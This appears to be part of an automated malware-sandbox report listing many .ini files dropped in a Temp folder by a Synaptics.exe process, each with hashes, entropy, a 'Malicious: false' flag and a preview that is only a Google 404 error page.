Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="K75_PkhKwE19Wrsuijfbsg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\7ajSBHJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271841479745494
Encrypted:	false
SSDEEP:	24:GgsF+0ZwSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+ew+pAZewRDK4mW
MD5:	4E7F4E9240F1E35C2BE112A6C7CD127B
SHA1:	8D39295E9FCDE7C0950B8ABCF4E55A2D3A16503C
SHA-256:	C4939B2E1DA5E8450E676A5AACE91D917D2AA3E3D0392622AEEE60E021BA38CA
SHA-512:	B7BB1C770F22B73E902EF66AE922B5ABE1D0BB93D21998CA3181C2D2688FA71936F9D187F89621158B0AFFFD356CAF4B57B7F09CDB39148162134836C513D019
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="a564P7jrBE6mEfyMECWARg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\8inEnoE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263325694942681
Encrypted:	false
SSDEEP:	24:GgsF+0TSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Q+pAZewRDK4mW
MD5:	211D79C2A8153270C434BBC4A941B31F
SHA1:	48EFFC6ECCB682FBB285AE461C4CF6644E01B29B
SHA-256:	E7C1FD7529EB1F2D46D466B4D09C9700644A85EB08CD59D5AA443F0701020CE9
SHA-512:	B2136EC8219F740BACF6A12C6A0CF17DEAEEAF704DBB9B1E4E8A14E63ED4AA6F8A6A4F3A4B7855326945A4DE648360ADEB04D61342FAF0C6F3E803071A74278A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="2SbAkBmMjlptl3AY6Wt4rA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\8nW8fgs.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26296288312477
Encrypted:	false
SSDEEP:	24:GgsF+09ySU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Oy+pAZewRDK4mW
MD5:	8B6F9392C22291AB68B35C04420C21BC
SHA1:	3DDBEAFD7B373DD5CB16A44969FB9A6CE2AAA27E
SHA-256:	0F7740B7F860F260353DDBA0B78F5CE33BE1917D1397D571090FE9D32731CB7B
SHA-512:	B6264FB680C9AAEBE269E89D374CC0F1F909343024E468CF739D1027C960057755BFFE9990D9B94B4566C7504A37712E7257312ABAA8ECCA28D9F64F7D54CEFB
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="XZi42_dNDk3mep_8XPD2qA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\9lmCZYH.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2668909874198935
Encrypted:	false
SSDEEP:	24:GgsF+0TSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Y+pAZewRDK4mW
MD5:	3235184248CA645064292D974E420D0A
SHA1:	7B3718D92AB62E336471AD8C8BEFAD3CA7191CAA
SHA-256:	C65639629545433474163D43578E52661B5438AF03CDF16D21F3A5EA61C84831
SHA-512:	B566D0901AE1E1A383F1127C5B58BC98B198C0AD0545B6BAE6A9B1A59ABECBB87F65E942B5AFA758901FE52E1C58B0B64FAC92823F964A459684DDF3A9DB646B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="L24MSWMs3cKg-mh3GP80FA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\A3mygAU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269640393867359
Encrypted:	false
SSDEEP:	24:GgsF+0iI3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+p8+pAZewRDK4mW
MD5:	91937D81C18870D9D338C889C8E07AB4
SHA1:	5A3175AE2DD84B948DF894B21A7FF985221124F7
SHA-256:	D25A8ACB7F8FCBDAAAB961D03772F2D44B5DCFC5354B3D072429D8A8B0F82771
SHA-512:	5B1AAA70BBACFEE713209917509E054F970CA371C0CE9609AA3636951EA57928590F787FECAB4D6EB67F376A9A7FB762649E48DD6211FF15D8B388AEE21E6FB4
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="y3YBQsQ44a6ONDDw5Ei1RQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\AVr96xK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260029712869853
Encrypted:	false
SSDEEP:	24:GgsF+0QUSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+LU+pAZewRDK4mW
MD5:	B3692D9847ABE1894E52E3D0FFF068BD
SHA1:	741060C97627CFE13E03C79D46DBBDCF5963E315
SHA-256:	8E1BD93E8AEAAE37C59FBD5AAEADB181F5311E5B29AAC8FCEB8C7F28BA1E1308
SHA-512:	957F5DA228AEB0A8DC801CD04E63AA434109AF8823E6E19DAB7EF65E03A684C4858214DF9ADC1E805ACC72A048BDC312F0B3076FF2AAD46156FBBE3D0BF220E8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Up4vGNy0SZzY47kZcpx2Yw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\AWDhDMZ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259902509943753
Encrypted:	false
SSDEEP:	24:GgsF+0cSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+z+pAZewRDK4mW
MD5:	799A310513672CBF38533B304D2F2DBE
SHA1:	74E2D860A02C7851A46B7EFC2F1C618433E38019
SHA-256:	FE89C5591D21306BE95252BD2EA8F4666730843F3A37DCC56627707E96BF8696
SHA-512:	2254132147D801C6A3D2EC0F19D80560FD1CC2D8317C6F586FEF8D835381ADE2DC5E9D4C22E51E8B6AEB9BBED5158290853B4B3F1ECC4B5F2A1FAAA5ACA15C75
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="uuz-JLLnqmqf6CRMhhmgXw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\AhRei9G.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259775906455506
Encrypted:	false
SSDEEP:	24:GgsF+0YSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+n+pAZewRDK4mW
MD5:	4BF3D8C2BFA31F92D960D470EA79267B
SHA1:	57FBB08D4229C03FD0DEA759F044C47A148D2C98
SHA-256:	838DFFB58059F9F6AF4308D18A60F6AFE27A37D2468E462711A61C485A9DEA58
SHA-512:	766464823E37B30D58694FA40B0E4E706C1A87691E01B5E53EAA175A23F8E431887CF14FEE98854C680E52DC650C8D3CF77DF6E425680741A2687E50458868A7
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="P4egNHzQ_9BFzaRl2RGwbg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Ak9rYq1.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265148080831137
Encrypted:	false
SSDEEP:	24:GgsF+0MfwSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+dI+pAZewRDK4mW
MD5:	E9149876D25E2BF75AE049E89E4E4084
SHA1:	53B6562B67C5E916FED8A4F21FC70995E7B0CD4F
SHA-256:	67ADEC912F7E5ABD2D70975B94FC836AFDA29EC948F105715B5FEF15F065381A
SHA-512:	4E6403886F2E19051F4E5664A825A28BE12AD94126753B97DF5D30C89945269DE705E9CB6DEBB72ED3DA4AF2B389FE10D0167328988256C9775BBE2FAE3A5EF3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Bc4cGzZQFkdRNaBKBc6uzg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\C1sj1QE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258918289531535
Encrypted:	false
SSDEEP:	24:GgsF+00SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+n+pAZewRDK4mW
MD5:	159D7AE95CD61A36C2E6D05A8A90AF55
SHA1:	D5E64FB9EA20A904CF05CE750F84A2F8344F4079
SHA-256:	66010B7CFF358ADD3B7C6DC8049AD24B0B16C06D82FF65EFE9C047AE9F059866
SHA-512:	60045D5CA3950FF53F5E6F830F1E93087F7155394285E3C41C829CB7C94F08D0ACED1F5F1F56C667F8FFF18F1CA5FDE211F93D38B87889C8A5A9A24B200AFE7F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="JRKdap4ePAB-mSZ3-z2kxg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\C33Xrmu.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2716255564527215
Encrypted:	false
SSDEEP:	24:GgsF+0BSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+q+pAZewRDK4mW
MD5:	876B02E0E4DA3DBC5E427EA0BD9ED0A4
SHA1:	C2501E1F0048832144705504EDDE2A937CF560DF
SHA-256:	ABF144F47E1F13B95B9CF9C65680F0A8696DF6B2A54857F14AF13F3089A9A5B1
SHA-512:	8115ABF415A4FE1E285ADF333DDAB81C22D0809816CAEEF93DD2FE9FAA2D0AA80BC5A571D9A14000C3B6F4B9C9A5BE66B3582E24813EAF6C750C3E6F5E830609
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0eMYfANUAadCb6GAZAFEiQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\CPgTXB1.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.245314775489878
Encrypted:	false
SSDEEP:	24:GgsF+0mSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+p+pAZewRDK4mW
MD5:	5C562DB5F64D6CB84838CCDCF9FE0CB2
SHA1:	970E204C23EE362134A7D0EBE44EA0734C95A9A3
SHA-256:	9906F4656CB3BA7E3B5EFFF6B3B4BC5F9DB06B069DD2043A79387ED23C48C648
SHA-512:	7F003CF9C3013F7432C4FB948724BE6D4994E9417C9C1B560FF3D884828AFF6936C30CF379A59824AD8DB23CF911E3ECD7E196AF014E0F83F5E3AD8A2162C55C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="sndteE8tgLctybjTuQWLew">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Cpm1WKI.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2719427341044
Encrypted:	false
SSDEEP:	24:GgsF+0zGSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Z+pAZewRDK4mW
MD5:	AE6723CD965887C7EEA7861DF5E91A9B
SHA1:	58D0470A1C244BFC4CF4F5CF48DA77F64FEACF2F
SHA-256:	A9289F80CD232648B48922133088811A3EA8EB571B7A957E8AFA7D2B5471DF6D
SHA-512:	A80D7F0D406E05B43BC69342DFC6615C429592EFD44D00752395DBC76C32B4EF9A955717AFDEC173321D07928B498F42F8A2945BAF325FFD38D7C1C0EFF0CF1E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QQgKajzFbB2VTpWGCKiMWg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\DE84MXt.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269388166790668
Encrypted:	false
SSDEEP:	24:GgsF+0WSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+t+pAZewRDK4mW
MD5:	9D262262D8F8FF4222E8184A358C95C6
SHA1:	1A3DDA829D45B84B647D82745CC1CEDA6948C4C0
SHA-256:	D4A8C9F10988785529A32F190FEC815464BF4AD477332A29CB6D5D2B1E2BD1E5
SHA-512:	6B1A24C01F34155B50B58D551FC763A6A3D161E981627D5DECD8354E1BC8BE72ADDA0631699958FDECAAC1572D166C16F941CE3CFBDB81519D8ECD2A83F245E5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="3aQsj3NzKRd-34KqE448OQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\DUmahKU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259568799814523
Encrypted:	false
SSDEEP:	24:GgsF+0IwSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Pw+pAZewRDK4mW
MD5:	766B2BD11AA29442C3E8371CACB849ED
SHA1:	3D855B253E33D5D86E08197FFEF65BE977BCDBFF
SHA-256:	20BC485A58F2CBCD80258F91340842BC9935DC393D30F6BD1E97DFDE3EC1244D
SHA-512:	C70F85D53554D97C40E0EF0EC243F6C634FA2224C759EB4236EAAEA618C9D27494B8F9EDBD14CEC7E0878D7C18723097AEDA3AC6E70F92B9EC40F19BC8E5F9B8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="354FggzSqLZGoTKAun29ww">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\EgjAu2S.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.251457722623491
Encrypted:	false
SSDEEP:	24:GgsF+0WDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+F+pAZewRDK4mW
MD5:	F082FFBD076450B03F667AA5540333C0
SHA1:	8BAEFF0DE5EE5B8B4A8EB00EE7E14FFA3E224158
SHA-256:	F0416F1DDFEF21F55BFD50A9497764B07DC5A228E5E9619EB978CF4BA5048E07
SHA-512:	EDE9045ECB0ABDBF6A99A5154559E2E8CBE83423AE37F23134E3C9A2003A6E573BFAB0CF48EC636B4A59205F1D4CD563034ACC194E2B386F09064EBC4BF2CA6D
Malicious:	false
